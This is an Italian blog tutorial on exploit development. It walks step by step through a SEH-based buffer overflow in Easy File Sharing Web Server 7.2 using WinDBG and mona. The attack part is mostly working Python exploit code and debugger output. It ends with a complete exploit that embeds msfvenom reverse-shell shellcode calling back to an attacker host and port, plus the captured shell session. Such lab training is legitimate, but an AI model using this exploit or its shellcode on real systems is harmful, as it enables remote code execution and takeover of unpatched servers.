SEH Overflow III - Easy File Sharing Web Server 7.2

Tempo di lettura: 13 minuti
Data pubblicazione: October 24, 2022

Introduzione

Terzo articolo della serie SEH Buffer Overflow, target: Easy File Sharing Web Server 7.2

Altri post in questa serie: 5. SEH Overflow I - Vulnserver GMON 5. SEH Overflow II - EFS Easy Chat Server 3.1 5. SEH Overflow III - Easy File Sharing Web Server 7.2 5. SEH Overflow IV - DocPrint Pro 8.0

L’ordine non è casuale, se non viene spiegato qualche dettaglio è perchè è stato spiegato in articoli precedenti. Consiglio di partire dal primo e proseguire in ordine.

Lab Setup

Per avere un ambiente ad hoc serve:

  • VM con Windows 10 a 32 bit, potete trovarlo qui (se accedete con un computer Windows dovete cambiare l’user agent con Linux/Mac).
  • WinDBG: visto che l’interfaccia di default non è per nulla intuitiva, l’ho modificata partendo da questo tema. Sentitevi liberi di modificarla come preferite.
  • Mona.py: automatizzazione di comandi su windbg. Per installarla su windows 10 a 32 bit ho utilizzato questo script.

Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:

!py mona config -set workingfolder c:\monalogs\%p_%i

In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.

NB: a meno di vulnerabilità particolari, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.

NB2: Poichè il bypass di DEP non è oggetto di questo articolo, ho disabilitato le protezioni di Windows (Windows Security -> App & Browser Control -> Exploit Protection Settings -> Program Settings -> Add program to customize -> filename.exe -> DEP, ASLR, CFG, etc disabilitati).

Easy File Sharing

Easy File Sharing Web Server 7.2 è un programma utilizzato per condividere file in una LAN. Una volta avviato espone un web server sulla porta 80. Ci sono diverse vulnerabilità, noi ci concentreremo sulla richiesta GET vulnerabile a buffer overflow.

Crash Iniziale

Sapendo che il server è vulnerabile a Buffer Overflow, andiamo a creare un primo script che lo manderà in crash.

import socket
import os
import sys

ip = "127.0.0.1"
port = 80

crash = b"A" * 5000


buffer=b"GET "
buffer+=crash
buffer+=b" HTTP/1.1\r\n"

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((ip, port))
expl.send(buffer)
expl.close()

Controllo l’exchain e vedo che è stata sovrascritta con il mio buffer.

Identificare l’offset

Per poter redirezionare il flusso di memoria verso un indirizzo di memoria che controlliamo dobbiamo identificare l’offset preciso. Per farlo utilizzeremo pattern_create di mona

!py mona pc 5000

Riavvio Easy Chat e aggiorno lo script inserendo il pattern

import socket
import os
import sys

ip = "127.0.0.1"
port = 80

crash = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa...…"


buffer=b"GET "
buffer+=crash
buffer+=b" HTTP/1.1\r\n"

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((ip, port))
expl.send(buffer)
expl.close()

Cerco i pattern ciclici

0:007> !exchain
02266f94: 46356646
Invalid exception stack at 34664633

0:007> !py mona po 46356646
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 46356646
Looking for Ff5F in pattern of 500000 bytes
- Pattern Ff5F (0x46356646) found in cyclic pattern at position 4065
[+] This mona.py action took 0:00:00.193000

0:007> !py mona po 34664633
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 34664633
Looking for 3Ff4 in pattern of 500000 bytes
- Pattern 3Ff4 (0x34664633) found in cyclic pattern at position 4061

[+] This mona.py action took 0:00:00.204000

Per fare una verifica puntuale modifichiamo lo script in modo da sovrascrivere SEH con 4 C e NSEH con 4 B.

import socket
import os
import sys

ip = "127.0.0.1"
port = 80

CRASH_LEN = 5000  # change me
OFFSET = 4061  # change me

payload = b"A" * OFFSET
payload += b"B" * 4 #NSEH
payload += b"C" * 4 #SEH
payload += b"D" * (CRASH_LEN - len(payload))


buffer = b"GET "
buffer += payload
buffer += b" HTTP/1.1\r\n"

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((ip, port))
expl.send(buffer)
expl.close()

Ed ecco che l’exchain è sovrascritta con i nostri caratteri.

0:007> !exchain
022d5994: ntdll!ExecuteHandler2+44 (77115b10)
022d6f94: 43434343
Invalid exception stack at 42424242

0:007> !teb 
TEB at 0032b000
    ExceptionList:        022d5994
    StackBase:            022f0000
…
    LastErrorValue:       2
    LastStatusValue:      c0000034
    Count Owned Locks:    0
    HardErrorMode:        0

0:007> dt _EXCEPTION_REGISTRATION_RECORD 022d5994
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next             : 0x022d6f94 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler          : 0x77115b10     _EXCEPTION_DISPOSITION  ntdll!ExecuteHandler2+0

0:007> db 0x022d6f94 
022d6f94  42 42 42 42 43 43 43 43-44 44 44 44 44 44 44 44  BBBBCCCCDDDDDDDD
022d6fa4  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
022d6fb4  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD

Trovare i bad char

Certi eseguibili eliminano o modificano determinati caratteri, per cui è necessario capire se ci sono caratteri che “rompono” o modificano il nostro shellcode. Per capire quali sono è sufficente inviare tutto il range di caratteri (da \x00 a \xff) e vedere se in qualche modo sono stati eliminati o modificati. Creo quindi su mona i byte che ci servono

!py mona ba -cpb '\x00'

NB: Se non ci fosse spazio per tutti i byte, avremmo potuto crearli utilizzando un range, per esempio:

!py mona ba -s 1 -e 46
!py mona ba -s 47 -e 8c
!py mona ba -s 8d -e d2
!py mona ba -s d3 -e ff

Aggiorniamo lo script di conseguenza (ho eliminato subito \x00 poiché quasi tutti gli eseguibili non lo accettano)

import socket
import os
import sys

ip = "127.0.0.1"
port = 80

bad_chars  = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
bad_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

CRASH_LEN = 5000  # change me
OFFSET = 4061  # change me

payload = b"A" * OFFSET
payload += b"B" * 4 #NSEH
payload += b"C" * 4 #SEH
payload += bad_chars
payload += b"D" * (CRASH_LEN - len(payload))


buffer = b"GET "
buffer += payload
buffer += b" HTTP/1.1\r\n"

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((ip, port))
expl.send(buffer)
expl.close()

Visto che l’exchain non è più come prima, c’è sicuramente un carattere che non va bene. Per prima cosa elimino i classici caratteri che in una GET potrebbero dar fastidio (#\x0a\x0d\x20), rilancio

Sembra che anche \x27 non vada bene, cancello e rilancio

(1ad8.17ec): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00001307 ecx=42424242 edx=002b3000 esi=023b71e8 edi=ffffffff
eip=202a2958 esp=023b6fb0 ebp=023b75e4 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
202a2958 ??              ???

E anche in questo caso c’è qualcosa che non quadra. Proseguo con l’analisi fino a trovare i seguenti caratteri da eliminare: \x0a\x0d\x20\x25\x2f\x5c

POP POP RET

L’obiettivo ora è di trovare un POP POP RET in modo tale da far puntare EIP al nostro Next SEH e redirezionare il flusso. Cerco quindi con mona nei moduli dell’eseguibile

0:007> !py mona seh
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py seh

[+] Results : 
0x0053831b |   0x0053831b : pop ecx # pop ecx # ret 0x08 | startnull {PAGE_EXECUTE_READ} [fsws.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v7.2.0.0 (fsws.exe)
0x00512e8e |   0x00512e8e : pop ecx # pop ecx # ret 0x04 | startnull {PAGE_EXECUTE_READ} [fsws.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v7.2.0.0 (fsws.exe)
0x00512ecd |   0x00512ecd : pop ecx # pop ecx # ret 0x04 | startnull {PAGE_EXECUTE_READ} [fsws.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v7.2.0.0 (fsws.exe)
0x1000725c |   0x1000725c : pop esi # pop edi # ret  | null {PAGE_EXECUTE_READ} [ImageLoad.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\EFS Software\Easy File Sharing Web Server\ImageLoad.dll)
0x100103fe |   0x100103fe : pop esi # pop edi # ret  |  {PAGE_EXECUTE_READ} [ImageLoad.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\EFS Software\Easy File Sharing Web Server\ImageLoad.dll)

Prendo 0x100103fe, inserisco il classico short jump di 8 e metto un breakpoint su 0x100103fe in modo da vedere se tutto fila liscio

import socket
import os
import sys
import struct

ip = "127.0.0.1"
port = 80

#\x0a\x0d\x20\x25\x2f\x5c

CRASH_LEN = 5000  # change me
OFFSET = 4061  # change me

payload = b"A" * OFFSET
payload += struct.pack("<I",0x06eb9090) # short jump 8 - NSEH
payload += struct.pack("<I",0x100103fe) #PPR SEH
payload += b"\x90" * 10
payload += b"D" * (CRASH_LEN - len(payload))


buffer = b"GET "
buffer += payload
buffer += b" HTTP/1.1\r\n"

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((ip, port))
expl.send(buffer)
expl.close()

Faccio g e poi singoli step per controllare il flusso

0:007> g
(ed0.1568): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=44444444 ebx=00000001 ecx=ffffffff edx=025f5f94 esi=025f5f6c edi=025f5f94
eip=61c277f6 esp=025f5ee8 ebp=025f5f00 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
sqlite3!sqlite3_errcode+0x8e:
61c277f6 81784c97a629a0  cmp     dword ptr [eax+4Ch],0A029A697h ds:0023:44444490=????????
0:009> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=100103fe edx=77115b10 esi=00000000 edi=00000000
eip=100103fe esp=025f5980 ebp=025f59a0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ImageLoad!SaveGIF+0xe4be:
100103fe 5e              pop     esi
0:009> p
eax=00000000 ebx=00000000 ecx=100103fe edx=77115b10 esi=77115af2 edi=00000000
eip=100103ff esp=025f5984 ebp=025f59a0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ImageLoad!SaveGIF+0xe4bf:
100103ff 5f              pop     edi
0:009> p
eax=00000000 ebx=00000000 ecx=100103fe edx=77115b10 esi=77115af2 edi=025f5a80
eip=10010400 esp=025f5988 ebp=025f59a0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ImageLoad!SaveGIF+0xe4c0:
10010400 c3              ret
0:009> p
eax=00000000 ebx=00000000 ecx=100103fe edx=77115b10 esi=77115af2 edi=025f5a80
eip=025f6f94 esp=025f598c ebp=025f59a0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
025f6f94 90              nop
0:009> p
eax=00000000 ebx=00000000 ecx=100103fe edx=77115b10 esi=77115af2 edi=025f5a80
eip=025f6f95 esp=025f598c ebp=025f59a0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
025f6f95 90              nop
0:009> p
eax=00000000 ebx=00000000 ecx=100103fe edx=77115b10 esi=77115af2 edi=025f5a80
eip=025f6f96 esp=025f598c ebp=025f59a0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
025f6f96 eb06            jmp     025f6f9e
0:009> u 025f6f9e
025f6f9e 90              nop
025f6f9f 90              nop
025f6fa0 90              nop

Sembra ci sia tutto lo spazio che ci serve, proviamo ad inserire lo shellcode.

Inserimento dello shellcode

Ora non ci rimane che creare lo shellcode con msfvenom (o manualmente) ed inserirlo al posto delle C.

Il codice finale sarà

import socket
import os
import sys
import struct

ip = "127.0.0.1"
port = 80

#\x00\x0a\x0d\x20\x25\x2f\x5c
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00\x0a\x0d\x20\x25\x2f\x5c' EXITFUNC=thread
shellcode =  b""
shellcode += b"\xdb\xcf\xbe\x3f\xe3\xd2\xa3\xd9\x74\x24\xf4"
shellcode += b"\x5a\x33\xc9\xb1\x52\x31\x72\x17\x83\xea\xfc"
shellcode += b"\x03\x4d\xf0\x30\x56\x4d\x1e\x36\x99\xad\xdf"
shellcode += b"\x57\x13\x48\xee\x57\x47\x19\x41\x68\x03\x4f"
shellcode += b"\x6e\x03\x41\x7b\xe5\x61\x4e\x8c\x4e\xcf\xa8"
shellcode += b"\xa3\x4f\x7c\x88\xa2\xd3\x7f\xdd\x04\xed\x4f"
shellcode += b"\x10\x45\x2a\xad\xd9\x17\xe3\xb9\x4c\x87\x80"
shellcode += b"\xf4\x4c\x2c\xda\x19\xd5\xd1\xab\x18\xf4\x44"
shellcode += b"\xa7\x42\xd6\x67\x64\xff\x5f\x7f\x69\x3a\x29"
shellcode += b"\xf4\x59\xb0\xa8\xdc\x93\x39\x06\x21\x1c\xc8"
shellcode += b"\x56\x66\x9b\x33\x2d\x9e\xdf\xce\x36\x65\x9d"
shellcode += b"\x14\xb2\x7d\x05\xde\x64\x59\xb7\x33\xf2\x2a"
shellcode += b"\xbb\xf8\x70\x74\xd8\xff\x55\x0f\xe4\x74\x58"
shellcode += b"\xdf\x6c\xce\x7f\xfb\x35\x94\x1e\x5a\x90\x7b"
shellcode += b"\x1e\xbc\x7b\x23\xba\xb7\x96\x30\xb7\x9a\xfe"
shellcode += b"\xf5\xfa\x24\xff\x91\x8d\x57\xcd\x3e\x26\xff"
shellcode += b"\x7d\xb6\xe0\xf8\x82\xed\x55\x96\x7c\x0e\xa6"
shellcode += b"\xbf\xba\x5a\xf6\xd7\x6b\xe3\x9d\x27\x93\x36"
shellcode += b"\x31\x77\x3b\xe9\xf2\x27\xfb\x59\x9b\x2d\xf4"
shellcode += b"\x86\xbb\x4e\xde\xae\x56\xb5\x89\x10\x0e\xb4"
shellcode += b"\x75\xf9\x4d\xb6\x9f\x7c\xd8\x50\xf5\x6e\x8d"
shellcode += b"\xcb\x62\x16\x94\x87\x13\xd7\x02\xe2\x14\x53"
shellcode += b"\xa1\x13\xda\x94\xcc\x07\x8b\x54\x9b\x75\x1a"
shellcode += b"\x6a\x31\x11\xc0\xf9\xde\xe1\x8f\xe1\x48\xb6"
shellcode += b"\xd8\xd4\x80\x52\xf5\x4f\x3b\x40\x04\x09\x04"
shellcode += b"\xc0\xd3\xea\x8b\xc9\x96\x57\xa8\xd9\x6e\x57"
shellcode += b"\xf4\x8d\x3e\x0e\xa2\x7b\xf9\xf8\x04\xd5\x53"
shellcode += b"\x56\xcf\xb1\x22\x94\xd0\xc7\x2a\xf1\xa6\x27"
shellcode += b"\x9a\xac\xfe\x58\x13\x39\xf7\x21\x49\xd9\xf8"
shellcode += b"\xf8\xc9\xf9\x1a\x28\x24\x92\x82\xb9\x85\xff"
shellcode += b"\x34\x14\xc9\xf9\xb6\x9c\xb2\xfd\xa7\xd5\xb7"
shellcode += b"\xba\x6f\x06\xca\xd3\x05\x28\x79\xd3\x0f"

CRASH_LEN = 5000  # change me
OFFSET = 4061  # change me

payload = b"A" * OFFSET
payload += struct.pack("<I",0x06eb9090) # short jump 8 - NSEH
payload += struct.pack("<I",0x100103fe) #PPR SEH
payload += b"\x90" * 10
payload += shellcode
payload += b"D" * (CRASH_LEN - len(payload))


buffer = b"GET "
buffer += payload
buffer += b" HTTP/1.1\r\n"

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((ip, port))
expl.send(buffer)
expl.close()

Ed ecco che sulla kali riceviamo la reverse shell

kali@kali:~$ nc -nlvp 6789
listening on [any] 6789 ...
connect to [192.168.1.60] from (UNKNOWN) [192.168.1.14] 49898
Microsoft Windows [Version 10.0.19044.1706]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
desktop-p7jng2j\user

C:\Windows\system32>

Conclusioni

Rispetto al primo articolo sul SEH è stato un esercizio molto più semplice, ma che ci permette di capire bene il funzionamento del SEH. Di seguito alcuni approfondimenti: 1.Exploit writing tutorial part 3 : SEH Based Exploits 2.OSCE Exam Practice - Part III (GMON via SEH Overwrite w/ Egg Hunter) 3.SEH Based Buffer Overflow 4.FuzzySecurity part 3: Structured Exception Handler (SEH)